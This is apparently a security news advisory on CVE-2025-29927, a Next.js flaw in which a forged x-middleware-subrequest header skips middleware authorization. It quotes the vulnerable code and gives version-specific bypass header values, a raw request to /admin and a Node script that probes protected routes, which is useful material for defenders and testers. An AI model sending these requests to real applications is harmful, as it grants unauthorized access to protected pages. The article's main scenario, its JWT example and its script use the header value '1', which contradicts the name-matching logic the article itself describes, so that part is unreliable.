A newly disclosed critical vulnerability in the Next.js framework, tracked as CVE-2025-29927, allows unauthenticated attackers to bypass middleware-based authorization checks by exploiting improper handling of the x-middleware-subrequest HTTP header.
This flaw impacts all versions of Next.js that rely on this header to differentiate between internal subrequests and external traffic, risking exposure of protected routes and administrative interfaces.
Next.js uses the x-middleware-subrequest header to prevent infinite loops when middleware triggers subrequests to the server.
The middleware logic reads and parses this header to detect recursive calls, as per a report by Security Researchers.
However, because Next.js does not sufficiently distinguish between legitimate internal subrequests and malicious external requests, an attacker can set this header arbitrarily to force middleware to skip authorization checks.
Technical Mechanism of the Vulnerability
The core of the issue resides in the following code snippet within Next.js middleware execution:
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
};
continue;
}
This logic splits the header value by colons into an array of strings. If any element matches middlewareInfo.name, Next.js treats the request as an internal subrequest and immediately calls NextResponse.next(), effectively skipping all downstream checks, including authentication and authorization.
Exploit Methods Across Next.js Versions
- Version 12.2 and Earlier
Middleware files are named _middleware.ts under the pages directory. Here, middlewareInfo.name equals pages/_middleware. An attacker can send:
x-middleware-subrequest: pages/_middleware
to have the middleware entirely bypassed.
- Version 12.2 and Later
Middleware files are renamed middleware.ts at the root of an application or specific directory. The comparison value is simply middleware. By setting:
x-middleware-subrequest: middleware
the same bypass occurs.
- Version 13.2.0 and Later
Next.js introduced MAX_RECURSION_DEPTH to limit header length and prevent infinite loops, but the header-based bypass remains viable:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Exploit Scenario
An attacker can craft a simple GET request:
GET /admin HTTP/1.1
Host: vulnerable-app.local
x-middleware-subrequest: 1
This forces middleware to skip and return the protected /admin page, granting unauthorized access to sensitive endpoints.
JWT / Cookie Combinations
Projects often layer JWT or cookie-based checks on top of middleware:
if (!req.cookies.auth_token && req.headers['x-middleware-subrequest'] !== '1') {
return NextResponse.redirect('/login');
}
By sending x-middleware-subrequest: 1, attackers bypass both middleware and token checks, gaining entry without valid credentials.
Header Manipulation Scenarios
Scenario | Header Value | Result |
Simple bypass | 1 | Middleware skipped |
JWT bypass | 1 + missing JWT | Access granted |
Role check bypass | 1 + empty cookie | Access granted |
Automated Test Script (Red-Team Style)
import fetch from 'node-fetch';
const routes = ['/admin', '/dashboard', '/settings'];
async function testBypass() {
for (const route of routes) {
const res = await fetch(`http://localhost:3000${route}`, {
headers: { 'x-middleware-subrequest': '1' }
});
console.log(`${route}: ${res.status}`);
}
}
testBypass();
This script iterates through protected routes, sending the malicious header to quickly identify vulnerable endpoints.
Patch recommendations advise validating the x-middleware-subrequest header origin and enforcing server-side checks regardless of header presence.
Continuous monitoring and immediate framework updates are essential to mitigate exploitation of CVE-2025-29927.
Find this News Interesting! Follow us on Google News, LinkedIn, and X to Get Instant Updates!
Source link